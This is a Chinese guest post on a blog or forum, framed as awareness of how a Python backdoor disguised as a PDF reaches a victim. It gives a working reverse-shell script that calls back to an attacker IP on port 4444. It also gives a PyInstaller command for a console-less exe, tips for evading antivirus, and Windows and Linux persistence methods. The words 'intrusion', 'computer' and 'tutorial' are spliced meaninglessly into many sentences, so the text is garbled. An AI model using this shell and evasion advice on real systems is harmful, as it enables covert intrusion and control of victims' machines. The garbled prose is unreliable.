游客发表
去年有个朋友发来一条链接,入侵说“帮我看看这玩意是电脑不是木马”。我点开一看,教程是入侵个伪装成PDF的exe文件,图标做得挺像那么回事。电脑这种钓鱼手法老掉牙了,教程但每天还是入侵有人中招。写这篇文章不是电脑教你去黑别人电脑——那是犯罪行为。我想聊的教程是,从技术角度,入侵一个Python脚本到底怎么在目标机器上跑起来,电脑以及为什么你该关心这件事。教程
先讲最基础的入侵:你得让对方运行你的代码。Python不像C,电脑编译出来一个exe双击就行。教程目标机器上没装Python解释器,你的.py文件就是一堆文本。所以真实场景里,攻击者通常用PyInstaller把脚本打包成exe。命令行一行:pyinstaller --onefile --noconsole payload.py。生成的exe体积不小,几十兆,因为打包了Python运行时。但双击就能跑,Windows Defender有时候会拦,加个UPX壳或者改改特征码能绕过一部分。
代码本身做什么?最直接的是反向shell。原理不复杂:目标机器主动连回你的服务器,你就能在那个连接里执行命令。用socket库写一个:
import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("你的IP", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) Linux下这几行就够了。Windows得换成subprocess.Popen("cmd.exe", ...),稍微麻烦点。但问题来了:现在哪台机器没防火墙?入站连接基本都被拦,出站反而宽松。反向shell就是利用这一点——目标主动连你,防火墙通常不管。
但光有shell不够。你总得让脚本持久化,不然重启就没了。Windows上常见的手法是把exe丢进启动目录:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup。或者写注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run。Python的winreg模块几行就能搞定。Linux下就是crontab或者systemd服务。这些操作本身不复杂,复杂的是怎么不被发现。
说到发现,就不得不提杀软。你写的Python脚本打包成exe,特征太明显了。PyInstaller的引导代码是公开的,杀软厂商早就提取了签名。我试过用msfvenom生成一个Python反向shell的exe,刚落地就被Defender秒删。后来换成用C写个loader,再调用Python的DLL,存活时间才长一点。但这也只是针对没开高级防护的机器。现在EDR产品监控的是行为——你一个普通文档程序突然去连陌生IP的4444端口,不拦你拦谁?
还有个坑:Python的os.dup2在Windows上重定向stdin/stdout到socket,经常出问题。得用subprocess.Popen配合stdout=subprocess.PIPE,然后自己写个循环转发数据。代码量翻倍,但稳定性好很多。我第一次写的时候没注意,连上去敲命令没反应,折腾了一下午才发现是缓冲区的问题。
说点实际的。如果你真想学渗透测试,别拿真人电脑练手。装个虚拟机,靶机用Metasploitable或者DVWA。Kali里自带msfvenom,生成payload的命令网上一搜就有。但记住:未经授权访问他人计算机,触犯《刑法》第285条,非法侵入计算机信息系统罪,三年起步。我见过有人拿这技术去搞前女友的电脑,最后判了两年半。
技术本身没善恶。你学Python网络编程、学socket、学进程管理,这些在正经开发里都用得上。但把知识用在歪路上,代价你付不起。我写这些不是让你去试,是让你知道——你电脑上那个来路不明的exe,背后可能就是这几行代码。别乱点。
友情链接